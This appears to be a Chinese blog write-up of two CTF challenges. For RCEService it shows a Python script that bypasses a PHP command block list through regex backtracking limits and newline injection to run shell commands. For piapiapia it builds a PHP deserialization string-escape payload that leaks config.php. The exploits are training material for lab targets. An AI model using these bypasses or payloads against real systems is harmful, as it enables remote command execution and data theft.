[CTF]WriteUp第14篇

[FBCTF2019]RCEService

思路

看了WP才知道有题目源码

<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
  $json = $_REQUEST['cmd'];

  if (!is_string($json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } else {
    echo 'Attempting to run command:<br/>';
    $cmd = json_decode($json, true)['cmd'];
    if ($cmd !== NULL) {
      system($cmd);
    } else {
      echo 'Invalid input';
    }
    echo '<br/><br/>';
  }
}
?>

解题

提交cmd就行,主要问题是怎么绕过正则
方法:回溯次数超限和利用%0a

用一段代码同时讲清两种方法

import requests
from lxml import etree
import re
import base64

url = 'http://0ec0ecbe-ba02-468b-9f88-db95dbd0b695.node5.buuoj.cn:81/'
cmd = '/usr/bin/find / -name \'*flag*\''  # 疑似/home/rceservice/flag
cmd = '/usr/bin/find / -name \'*cat*\''  # cat被改位置了/bin/cat
cmd = '/bin/cat /home/rceservice/flag'  # 结束
方法1 = False
if 方法1 == True:  # 回溯次数超限
    payload = '{"cmd":"' + cmd + '","z":"' + ('a'*(1000000)) + '"}'
    data = {'cmd':payload}
    html = requests.post(url=url, data=data)
else:  # 方法2  %0A绕过
    url = url + r'?cmd={%0A"cmd":"' + cmd + r'"%0A}'
    html = requests.get(url=url)
s = re.findall('</h1>(.*)<form>', html.text, re.S)
s = re.sub('<br/>', '\n', s[0], re.S).strip()
print(s)

注意

绕过正则的方法
用whereis和find查找命令的位置


[0CTF 2016]piapiapia

思路

扫描到有网站源码www.zip

首先看到config.php有flag,那么就是要想办法包含

<?php
	$config['hostname'] = '127.0.0.1';
	$config['username'] = 'root';
	$config['password'] = '';
	$config['database'] = '';
	$flag = '';
?>

profile.php看到可以文件包含的地方

<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	$username = $_SESSION['username'];
	$profile=$user->show_profile($username);
	if($profile  == null) {
		header('Location: update.php');
	}
	else {
		$profile = unserialize($profile);
		$phone = $profile['phone'];
		$email = $profile['email'];
		$nickname = $profile['nickname'];
		$photo = base64_encode(file_get_contents($profile['photo']));  // here!
?>
...
<img src="data:image/gif;base64,<?php echo $photo; ?>" class="img-memeda " style="width:180px;margin:0px auto;">

而它获取的是用户的profile信息,这玩意怎么存入的呢,在class.php可以看到update方法

public function show_profile($username) {
	$username = parent::filter($username);

	$where = "username = '$username'";
	$object = parent::select($this->table, $where);
	return $object->profile;
}
public function update_profile($username, $new_profile) {
	$username = parent::filter($username);
	$new_profile = parent::filter($new_profile);

	$where = "username = '$username'";
	return parent::update($this->table, 'profile', $new_profile, $where);
}

哪里调用了update将信息传入呢,可以在update.php里面看到

<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

		$username = $_SESSION['username'];
		if(!preg_match('/^\d{11}$/', $_POST['phone']))
			die('Invalid phone');

		if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
			die('Invalid email');
		
		if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
			die('Invalid nickname');

		$file = $_FILES['photo'];
		if($file['size'] < 5 or $file['size'] > 1000000)
			die('Photo size error');

		move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
		$profile['phone'] = $_POST['phone'];
		$profile['email'] = $_POST['email'];
		$profile['nickname'] = $_POST['nickname'];
		$profile['photo'] = 'upload/' . md5($file['name']);

		$user->update_profile($username, serialize($profile));
		echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
	}
...

可以看到,它是先把信息序列化存入,再反序列化取出
同时,我们可以看到,还有一个register.php可以注册用户

解题

首先在register.php注册登录
然后要想办法让photoconfig.php,这里可以使用截断
来做个测试

<?php

$a = array('e'=>11, 'b'=>22);
$b = serialize($a);
echo $b;  
// a:2:{s:1:"e";i:11;s:1:"b";i:22;}
echo '
';
$c = 'a:2:{s:1:"e";i:11;s:1:"b";i:22;}"c";i:33;';
$d = unserialize($c);
var_dump($d);  
// array(2) {["e"]=>int(11), ["b"]=>int(22)}

可以看到,在序列化数组的末尾画蛇添足并不会影响反序列化
我们可以利用这个来进行提前截断

# 正常提交
a:4:{s:5:"phone";s:3:"111";s:5:"email";s:11:"111@111.111";s:8:"nickname";s:3:"111";s:5:"photo";s:39:"upload/c4ca4238a0b923820dcc509a6f75849b";}

# 通过nickname绕过
a:4:{s:5:"phone";s:3:"111";s:5:"email";s:11:"111@111.111";s:8:"nickname";s:3:"111";s:5:"photo";s:10:"config.php";}";s:5:"photo";s:39:"upload/c4ca4238a0b923820dcc509a6f75849b";}

但是我们并不能控制s:3:,如果直接把
111";s:5:"photo";s:10:"config.php";}
传入,算出来是s:36:
class.php里面可以看到,update时先经过了过滤

public function filter($string) {
	$escape = array('\'', '\\\\');
	$escape = '/' . implode('|', $escape) . '/';
	$string = preg_replace($escape, '_', $string);

	$safe = array('select', 'insert', 'update', 'delete', 'where');
	$safe = '/' . implode('|', $safe) . '/i';
	return preg_replace($safe, 'hacker', $string);
}

这里进行preg_replace时会出现长度变化,我们可以利用这一点
一个where会使nickname的值的闭合双引号判断短一个字符
我们需要33个where

a:4:{s:5:"phone";s:3:"111";s:5:"email";s:11:"111@111.111";s:8:"nickname";s:198:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";s:5:"photo";s:10:"config.php";}";s:5:"photo";s:39:"upload/c4ca4238a0b923820dcc509a6f75849b";}

# 替换后
a:4:{s:5:"phone";s:3:"111";s:5:"email";s:11:"111@111.111";s:8:"nickname";s:198:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:5:"photo";s:10:"config.php";}";s:5:"photo";s:39:"upload/c4ca4238a0b923820dcc509a6f75849b";}

然而直接提交还是不行,为什么?因为有这条验证

if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
	die('Invalid nickname');

解决方法是数组绕过,先抓包

但是数组绕过还是不行,为什么?因为nickname也是数组,需要闭合
举个例子:

a:3:{s:5:"phone";s:3:"111";s:8:"nickname";a:1:{i:0;s:36:"111";s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:3:"111";}

array(3) {
  ["phone"]=>
  string(3) "111"
  ["nickname"]=>
  array(1) {
    [0]=>
    string(36) "111";s:5:"photo";s:10:"config.php";}"
  }
  ["photo"]=>
  string(3) "111"
} 
# 对上面这个进行反序列化字符逃逸,不加}
$c = 'a:3:{s:5:"phone";s:3:"111";s:8:"nickname";a:1:{i:0;s:3:"111";s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:3:"111";}';
var_dump(unserialize($c));
/*
bool(false)
PHP Notice:  unserialize(): Error at ...
*/

# 加}
$c = 'a:3:{s:5:"phone";s:3:"111";s:8:"nickname";a:1:{i:0;s:3:"111";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:3:"111";}';
var_dump(unserialize($c));
/*
array(3) {
  ["phone"]=>
  string(3) "111"
  ["nickname"]=>
  array(1) {
    [0]=>
    string(3) "111"
  }
  ["photo"]=>
  string(10) "config.php"
}
*/

最终构造:

a:4:{s:5:"phone";s:3:"111";s:5:"email";s:11:"111@111.111";s:8:"nickname";a:1:{i:1;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";s:5:"photo";s:39:"upload/c4ca4238a0b923820dcc509a6f75849b";}

# 替换后
a:4:{s:5:"phone";s:3:"111";s:5:"email";s:11:"111@111.111";s:8:"nickname";a:1:{i:1;s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";s:5:"photo";s:39:"upload/c4ca4238a0b923820dcc509a6f75849b";}

最后base64解码图片即可

注意

数组的反序列化绕过
php函数的数组绕过

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇